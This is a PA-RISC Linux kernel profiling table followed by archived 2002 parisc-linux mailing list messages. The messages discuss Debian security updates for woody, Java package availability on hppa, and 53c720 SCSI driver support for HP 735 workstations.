  2672 clear_user_page_asm                       23.8571
   712 $lctu_done                                44.5000
   616 copy_user_page_asm                         4.0526
   542 handle_interruption                        0.4208
   486 $lctu_loop                                40.5000
   454 memset                                    14.1875
   436 flush_kernel_icache_page                   4.3600
   431 rmqueue                                    0.4705
   430 flush_kernel_dcache_page                   4.3000
   366 purge_kernel_dcache_page                   3.6600
   273 do_page_fault                              0.3500
   258 d_lookup                                   0.6719
   194 fimanyloop                                 9.7000
   193 find_vma_prev                              2.2976
   191 fdsync                                     9.5500
   185 link_path_walk                             0.0731
   173 zap_page_range                             0.1975
   131 __free_pages_ok                            0.1227
   129 do_anonymous_page                          0.3665
   111 $lcfu_done                                 9.2500
   109 intr_restore                               0.2412
   109 handle_mm_fault                            0.4007
   109 __down_read                                0.6646
   104 do_no_page                                 0.2281
   104 copy_page_range                            0.1884
   102 lru_cache_add                              0.5100
    94 memcpy                                     2.6111
    87 clear_page_tables                          0.4439
    86 syscall_restore                            0.3583
    85 __find_get_page                            1.2500
    85 $lcfu_loop                                 7.0833
    79 mark_page_accessed                         0.8229
    78 memcmp                                     0.9750
    77 filemap_nopage                             0.1119
    74 kmem_cache_alloc                           0.2342
    72 __free_pte                                 0.5143
    70 pte_alloc                                  0.3889
    69 kmem_cache_free                            0.3450
    58 __free_pages                               0.7632
    55 reschedule_idle                            0.0640
    54 fput                                       0.1378
    53 do_generic_file_read                       0.0418
    52 do_wp_page                                 0.0553
    51 __lru_cache_del                            0.3643
    50 __alloc_pages                              0.0926
    50 $lslen_loop                                4.1667
    49 update_mmu_cache                           0.3500
    43 do_brk                                     0.0741
    42 dput                                       0.0972
    39 set_page_dirty                             0.2786
    38 vm_enough_memory                           0.2375
    37 vfs_permission                             0.1063
    36 nr_free_pages                              0.6000
    36 fioneloop                                  4.5000
    35 path_init                                  0.0678
    34 exit_notify                                0.0431
    34 $lsfu_loop                                 2.1250
    33 __up_read                                  0.3750
    31 parisc_acctyp                              0.1490
    29 sys_brk                                    0.0993
    29 permission                                 0.3625
    29 _alloc_pages                               0.6591
    29 __down_write                               0.1859
    29 $lslen_done                                3.6250
    28 free_page_and_swap_cache                   0.2800
    26 syscall_exit                               0.9286
    25 memmove                                    0.3125
    25 get_empty_filp                             0.0753
    24 sys_read                                   0.0682
    23 open_namei                                 0.0148
    23 getname                                    0.0943
    22 find_vma                                   0.2500
    22 cached_lookup                              0.1774
    20 __mark_inode_dirty                         0.1220
    20 $lclu_done                                 1.2500
    19 get_unshared_area                          0.1357
    17 schedule                                   0.0179
    16 memscan                                    0.3636
    16 generic_file_read                          0.0476
    16 find_vma_prepare                           0.1333
    16 do_mmap_pgoff                              0.0125
    16 dentry_open                                0.0303
    15 intr_return                                0.7500
    15 get_unused_fd                              0.0341
    15 find_trylock_page                          0.1136
    15 fcntl_dirnotify                            0.0379
    14 unlock_page                                0.1000
    13 sys_open                                   0.0464
    12 sys_close                                  0.0732
    11 locks_remove_posix                         0.0289
    11 ext2_readdir                               0.0174
    11 cp_new_stat64                              0.0246
    11 copy_strings                               0.0519
    10 filp_close                                 0.0676
    10 do_munmap                                  0.0135
    10 do_fork                                    0.0048
    10 $lsfu_done                                 2.5000
     9 vma_merge                                  0.0288
     9 syscall_check_bh                           0.5625
     9 filldir64                                  0.0262
     9 fget                                       0.1406
     9 ext2_release_file                          0.2250
     8 update_atime                               0.0645
     8 kfree                                      0.0392
     8 Letext                                     0.2857
     7 locks_remove_flock                         0.0565
     7 load_elf_binary                            0.0027
     7 intr_check_resched                         0.5833
     7 generic_file_write                         0.0036
     7 generic_file_readahead                     0.0167
     7 exit_mmap                                  0.0148
     7 cp_new_stat                                0.0192
     7 copy_mm                                    0.0082
     7 activate_page                              0.0282
     7 __user_walk                                0.0530
     6 recycle_sids                               0.0517
     6 put_filp                                   0.0577
     6 intr_check_sig                             0.5000
     6 in_group_p                                 0.1154
     6 create_elf_tables                          0.0058
     6 count                                      0.0600
     6 __wake_up                                  0.0214
     5 vsnprintf                                  0.0023
     5 syscall_check_sig                          0.4167
     5 sys_newfstat                               0.0338
     5 supplemental_group_member                  0.0833
     5 rb_insert_color                            0.0167
     5 path_walk                                  0.1562
     5 net_rx_action                              0.0062
     5 lstrncpy_from_user                         0.1389
     5 load_elf_interp                            0.0069
     5 get_unmapped_area                          0.0312
     5 filp_open                                  0.0463
     5 file_read_actor                            0.0391
     5 do_mmap2                                   0.0236
     5 __block_prepare_write                      0.0056
     5 $$remU                                     0.0169
     4 sys_write                                  0.0114
     4 sys_rt_sigprocmask                         0.0108
     4 sys_mmap                                   0.0667
     4 scsi_dispatch_cmd                          0.0041
     4 proc_lookup                                0.0192
     4 number                                     0.0036
     4 n_tty_receive_buf                          0.0014
     4 meminfo_read_proc                          0.0052
     4 lru_cache_del                              0.1667
     4 kmalloc                                    0.0110
     4 ip_route_input                             0.0085
     4 ext2_new_block                             0.0014
     4 copy_string                                0.0233
     4 copy_files                                 0.0068
     4 can_share_swap_page                        0.0238
     4 $lclu_loop                                 0.5000
     3 syscall_restore_rfi                        0.1071
     3 syscall_check_resched                      0.3750
     3 sys_rt_sigaction                           0.0142
     3 sys_getdents64                             0.0160
     3 setup_rt_frame                             0.0029
     3 release_task                               0.0073
     3 put_files_struct                           0.0097
     3 path_release                               0.0357
     3 opost_block                                0.0059
     3 flush_old_exec                             0.0039
     3 flush_kernel_dcache_range_asm              0.0750
     3 find_extend_vma                            0.0117
     3 ext2_follow_link                           0.0750
     3 do_signal                                  0.0027
     3 do_exit                                    0.0046
     3 change_protection                          0.0043
     3 block_prepare_write                        0.0326
     3 arch_get_unmapped_area                     0.0250
     3 $lsfu_exit                                 0.1875
     2 vfs_follow_link                            0.0037
     2 tcp_poll                                   0.0052
     2 tcp_clean_rtx_queue                        0.0024
     2 sys_stat64                                 0.0125
     2 sys_select                                 0.0021
     2 sys_munmap                                 0.0192
     2 sys_mprotect                               0.0035
     2 sys_llseek                                 0.0079
     2 sys_clone                                  0.0714
     2 sock_poll                                  0.0357
     2 read_chan                                  0.0011
     2 read_cache_page                            0.0040
     2 pty_write                                  0.0047
     2 pipe_read                                  0.0031
     2 nfs3_xdr_sattrargs                         0.0007
     2 mod_timer                                  0.0083
     2 mark_buffer_dirty                          0.0185
     2 lock_vma_mappings                          0.5000
     2 get_kmapped_page                           0.0217
     2 generic_file_open                          0.0357
     2 free_sid                                   0.0156
     2 free_pgtables                              0.0122
     2 file_send_actor                            0.0082
     2 file_move                                  0.0455
     2 ext2_update_inode                          0.0016
     2 ext2_new_inode                             0.0017
     2 ext2_get_group_desc                        0.0111
     2 ext2_get_block                             0.0016
     2 ext2_free_blocks                           0.0019
     2 ext2_find_entry                            0.0055
     2 do_sigaction                               0.0068
     2 do_select                                  0.0034
     2 do_execve                                  0.0045
     2 discard_bh_page                            0.0098
     2 dev_queue_xmit_nit                         0.0083
     2 build_mmap_rb                              0.0161
     2 block_read_full_page                       0.0026
     2 alloc_sid                                  0.0055
     2 __rb_rotate_right                          0.0250
     2 __rb_erase_color                           0.0044
     2 __pollwait                                 0.0089
     2 $$remI                                     0.0061
     2 $$divU                                     0.0069
     2 $$divI                                     0.0061
     1 write_chan                                 0.0016
     1 wrapper_exit                               0.0109
     1 vfs_unlink                                 0.0021
     1 vfs_readdir                                0.0032
     1 unmap_fixup                                0.0021
     1 unlock_vma_mappings                        0.2500
     1 udp_rcv                                    0.0013
     1 tty_write                                  0.0015
     1 tty_poll                                   0.0049
     1 tcp_sendmsg                                0.0002
     1 tcp_ack                                    0.0012
     1 syscall_do_signal                          0.0064
     1 syscall_do_resched                         0.0625
     1 sys_wait4                                  0.0010
     1 sys_ioctl                                  0.0017
     1 sys_fstat64                                0.0068
     1 sys_dup2                                   0.0032
     1 strncpy                                    0.0312
     1 skb_clone                                  0.0022
     1 sk_run_filter                              0.0004
     1 si_meminfo                                 0.0132
     1 setup_sigcontext                           0.0022
     1 setup_arg_pages                            0.0018
     1 set_binfmt                                 0.0081
     1 set_bh_page                                0.0100
     1 select_bits_free                           0.0417
     1 search_binary_handler                      0.0025
     1 scsi_request_fn                            0.0012
     1 scsi_malloc                                0.0046
     1 refill_inactive                            0.0021
     1 real_lookup                                0.0028
     1 rb_erase                                   0.0033
     1 pty_write_room                             0.0156
     1 pipe_wait                                  0.0040
     1 pipe_release                               0.0042
     1 packet_rcv                                 0.0013
     1 nr_free_buffer_pages                       0.0139
     1 normal_poll                                0.0027
     1 mmput                                      0.0061
     1 mm_release                                 0.0192
     1 lstrnlen_user                              0.0278
     1 lookup_create                              0.0054
     1 locate_fd                                  0.0030
     1 lcopy_from_user                            0.0357
     1 kstat_read_proc                            0.0014
     1 iput                                       0.0016
     1 ip_rcv                                     0.0009
     1 ip_local_deliver                           0.0020
     1 insert_vm_struct                           0.0050
     1 inode_has_buffers                          0.0227
     1 inode_change_ok                            0.0021
     1 inet_recvmsg                               0.0100
     1 in_egroup_p                                0.0192
     1 getrusage                                  0.0017
     1 get_unused_buffer_head                     0.0056
     1 get_tty_driver                             0.0104
     1 get_pid                                    0.0028
     1 get_new_inode                              0.0019
     1 get_hash_table                             0.0057
     1 generic_make_request                       0.0023
     1 generic_file_mmap                          0.0083
     1 generic_file_llseek                        0.0052
     1 generic_file_direct_IO                     0.0016
     1 generic_commit_write                       0.0069
     1 free_pages                                 0.0147
     1 flush_signal_handlers                      0.0192
     1 flush_kernel_icache_range_asm              0.0147
     1 flush_data_cache_local                     0.0250
     1 flush_cache_all_local                      0.0357
     1 find_inode                                 0.0058
     1 fdtdone                                    0.0156
     1 ext2_prepare_write                         0.0208
     1 ext2_lookup                                0.0081
     1 ext2_get_page                              0.0074
     1 ext2_free_branches                         0.0023
     1 ext2_create                                0.0050
     1 ext2_alloc_block                           0.0060
     1 do_sigaltstack                             0.0028
     1 do_settimeofday                            0.0035
     1 do_pipe                                    0.0012
     1 discard_buffer                             0.0034
     1 del_timer                                  0.0208
     1 de_put                                     0.0078
     1 d_invalidate                               0.0071
     1 d_delete                                   0.0063
     1 d_alloc                                    0.0023
     1 create_empty_buffers                       0.0063
     1 compute_creds                              0.0024
     1 clean_inode                                0.0061
     1 bcopy                                      0.0278
     1 balance_dirty_state                        0.0069
     1 add_wait_queue                             0.0208
     1 add_timer                                  0.0038
     1 add_page_to_hash_queue                     0.0081
     1 _switch_to_ret                             0.0013
     1 _switch_to                                 0.0093
     1 __vma_link                                 0.0046
     1 __remove_from_lru_list                     0.0078
     1 __insert_vm_struct                         0.0066
     1 __insert_into_lru_list                     0.0044
     1 __get_free_pages                           0.0179
     1 __block_commit_write                       0.0027
     1 $lslen_nzero                               0.0625
     1 $$mulU                                     0.0019



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 09:01:49 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020530080149.GR3471@sleepie.demon.co.uk>
References: <200205300023.AA908198370@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621338 8068 80.91.229.3 (22 Nov 2014 01:55:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 02:24:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97ECF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 02:24:49 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 353EB9ECF7; Thu, 30 May 2002 09:01:49 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <200205300023.AA908198370@mail.centraltx.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14913

On Thu, May 30, 2002 at 12:23:49AM -0500, marc  wrote:
> I got ssh up and running. Also, why does it bomb when I uncomment the line in my sources.list that has to do with the security updates?? I have network
> connectivity now, and heres what I get for the
> java possibilities:
> 
> seki:/etc/apt# more sources.list
> 
> deb cdrom:[Debian GNU/Linux 3.0 prerelease _Woody_ - Unofficial hppa Binary-1 (2
> 0011205)]/ unstable contrib main
> deb http://non-us.debian.org/debian-non-US unstable non-US/main non-US/contrib n
> on-US/non-free
> deb http://http.us.debian.org/debian/ unstable main non-free contrib
> deb-src http://http.us.debian.org/debian/ unstable main non-free contrib
> # deb http://security.debian.org/ unstable updates/main updates/contrib updates/
> non-free

Security updates only exist for stable releases, and don't exist for
woody yet as it isn't quite released.    Someone correct me if that's
not quite accurate.

Richard




From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Thu, 30 May 2002 09:14:52 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020530081452.GS3471@sleepie.demon.co.uk>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com> <1022707216.3cf54610c5ee8@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621338 8072 80.91.229.3 (22 Nov 2014 01:55:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 02:37:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5276482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 02:37:50 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 67D3E9ECF7; Thu, 30 May 2002 09:14:52 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <1022707216.3cf54610c5ee8@nyepost.start.no>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14914

On Wed, May 29, 2002 at 11:20:16PM +0200, Andy Walker wrote:
> Hi folks,
> 
> Just picked up a free 735/99 today, so suddenly I've become interested
> in the status of the Outfield 53c720 driver. Has there been any progress
> or is there just no information available? I'd be happy to test patches -
> or even dive into the code myself, but without docs that sounds a little
> pointless.

Specs for Outfield are available now, look for hardball_ers.pdf on the
web site.

Other 53c720 interfaces (e.g. bluefish) are supported via the
ncr53c8xx.c driver, but that doesn't work for outfield because the 735
is not cache coherent.  My next idea was to add basic 53c720 support to
the 53c700 driver, as that works older hardware.  Ryan was interested in
looking at that a while back, but I don't know what happened.  My excuse
is that I don't have 735 h/w to test on so it is no fun - but that's a
poor excuse really as I could use my bluefish card to get 53c700 working
with 53c720.

53c700.c would drive the 53c720 chip in 53c700 mode, so would be
relatively low performance (more interrupts than you would need if you
made the most of the 53c720 features), and it would be 8 bit only.
Those issues could perhaps be fixed in time, and it would be better than
nothing, anyway.

Richard




From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Thu, 30 May 2002 10:48:32 +0200 (CEST)
Lines: 42
Approved: news@gmane.org
Message-ID: <1022748512.3cf5e760c85db@nyepost.start.no>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com> <1022707216.3cf54610c5ee8@nyepost.start.no> <20020530081452.GS3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621339 8074 80.91.229.3 (22 Nov 2014 01:55:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 03:00:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145])
	by dsl2.external.hp.com (Postfix) with ESMTP id 562FF482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 03:00:58 -0600 (MDT)
Original-Received: from nyepost.start.no (nyepost.start.no [195.159.1.214])
	by smtp1.powertech.no (Postfix) with ESMTP
	id DB1A089FB; Thu, 30 May 2002 11:00:23 +0200 (CEST)
Original-Received: (from apache@localhost)
	by nyepost.start.no (8.11.6/8.11.2) id g4U8mWV31696;
	Thu, 30 May 2002 10:48:32 +0200
In-Reply-To: <20020530081452.GS3471@sleepie.demon.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.8
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14915

Quoting Richard Hirst <rhirst@linuxcare.com>:
> 
> Specs for Outfield are available now, look for hardball_ers.pdf on the
> web site.

Actually I saw that - so I'll print 'em out and start digesting the info
this evening. Haven't hacked on a SCSI driver since the earliest 1.1.x
BusLogic days, but I can at least try to understand what's going on.

> Other 53c720 interfaces (e.g. bluefish) are supported via the
> ncr53c8xx.c driver, but that doesn't work for outfield because the 735
> is not cache coherent.

If you remember Richard, I was having all sorts of trouble with a Bluefish
card in a 725/100 a while back. Think I got the same results in a C110 too.
Recognized as Zalon, but hung up with SCSI timeouts if there was a disk
attached. HP-UX booted happily off the same controller & disk.

> My next idea was to add basic 53c720 support to the 53c700 driver, as
> that works older hardware.  Ryan was interested in looking at that a while
> back, but I don't know what happened.  My excuse is that I don't have 735
> h/w to test on so it is no fun - but that's a poor excuse really as I could
> use my bluefish card to get 53c700 working with 53c720.
> 
> 53c700.c would drive the 53c720 chip in 53c700 mode, so would be
> relatively low performance (more interrupts than you would need if you
> made the most of the 53c720 features), and it would be 8 bit only.
> Those issues could perhaps be fixed in time, and it would be better
> than nothing, anyway.
> 
> Richard

Well, I've got a 735, a Bluefish card, a B132L with Zalon onboard, and no
current hacking project at home. Unfortunately I also have a wife, two kids
and a reasonable social life, so no wild promises ;-)

-Andy

------------------------------------------------------------
F din egen @start.no-adresse gratis p http://www.start.no/



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Thu, 30 May 2002 12:48:26 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020530124826.W10366@parcelfarce.linux.theplanet.co.uk>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com> <1022707216.3cf54610c5ee8@nyepost.start.no> <20020530081452.GS3471@sleepie.demon.co.uk> <1022748512.3cf5e760c85db@nyepost.start.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621339 8077 80.91.229.3 (22 Nov 2014 01:55:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:39 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Andy Walker <squawker@start.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 05:48:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0F34482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 05:48:27 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17DOPq-0001x1-00; Thu, 30 May 2002 12:48:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1022748512.3cf5e760c85db@nyepost.start.no>; from squawker@start.no on Thu, May 30, 2002 at 10:48:32AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14916

On Thu, May 30, 2002 at 10:48:32AM +0200, Andy Walker wrote:
> If you remember Richard, I was having all sorts of trouble with a Bluefish
> card in a 725/100 a while back. Think I got the same results in a C110 too.
> Recognized as Zalon, but hung up with SCSI timeouts if there was a disk
> attached. HP-UX booted happily off the same controller & disk.

Hmm.. Bluefish in a 725 should also fail due to non-coherent DMA.
But a C110 has the ccio chip in it, so Bluefish should work fine.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Java and SSH
Date: Thu, 30 May 2002 12:55:30 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20020530125530.X10366@parcelfarce.linux.theplanet.co.uk>
References: <200205300023.AA908198370@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621339 8081 80.91.229.3 (22 Nov 2014 01:55:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 30 05:55:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81CEA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 30 May 2002 05:55:31 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17DOWg-000299-00; Thu, 30 May 2002 12:55:30 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200205300023.AA908198370@mail.centraltx.com>; from marc@centraltx.com on Thu, May 30, 2002 at 12:23:49AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14917

On Thu, May 30, 2002 at 12:23:49AM -0500, marc  wrote:
> seki:/etc/apt# apt-get install kaffe
> Reading Package Lists... Done
> Building Dependency Tree... Done
> Package kaffe has no available version, but exists in the database.
> This typically means that the package was mentioned in a dependency and
> never uploaded, has been obsoleted or is not available with the contents
> of sources.list
> E: Package kaffe has no installation candidate

looks like no-one's managed to get kaffe built on hppa.  gcj doesn't seem
to be available for hppa either.  In fact, kaffe is only available for
alpha, arm, i386, m68k, powerpc, sparc (ie hppa, ia64, mips, mipsel &
s390 haven't managed to get it working yet).  gcj seems to be available
on everything but hppa, mips & mipsel.  I don't know how much effort is
involved in making these things work.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Walker <squawker@start.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: Thu, 30 May 2002 13:54:24 +0200 (CEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <1022759664.3cf612f0449a0@nyepost.start.no>
References: <200205291104.AA315359834@mail.centraltx.com> <20020529201334.8C23C482A@dsl2.external.hp.com> <1022707216.3cf54610c5ee8@nyepost.start.no> <20020530081452.GS3471@sleepie.demon.co.uk> <1022748512.3cf5e760c85db@nyepost.start.no> <20020530124826.W10366@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621340 8082 80.91.229.3 (22 Nov 2014 01:55:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:40 +0000 (UTC)
Cc: Andy Walker <squawker@start.no>,
	Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
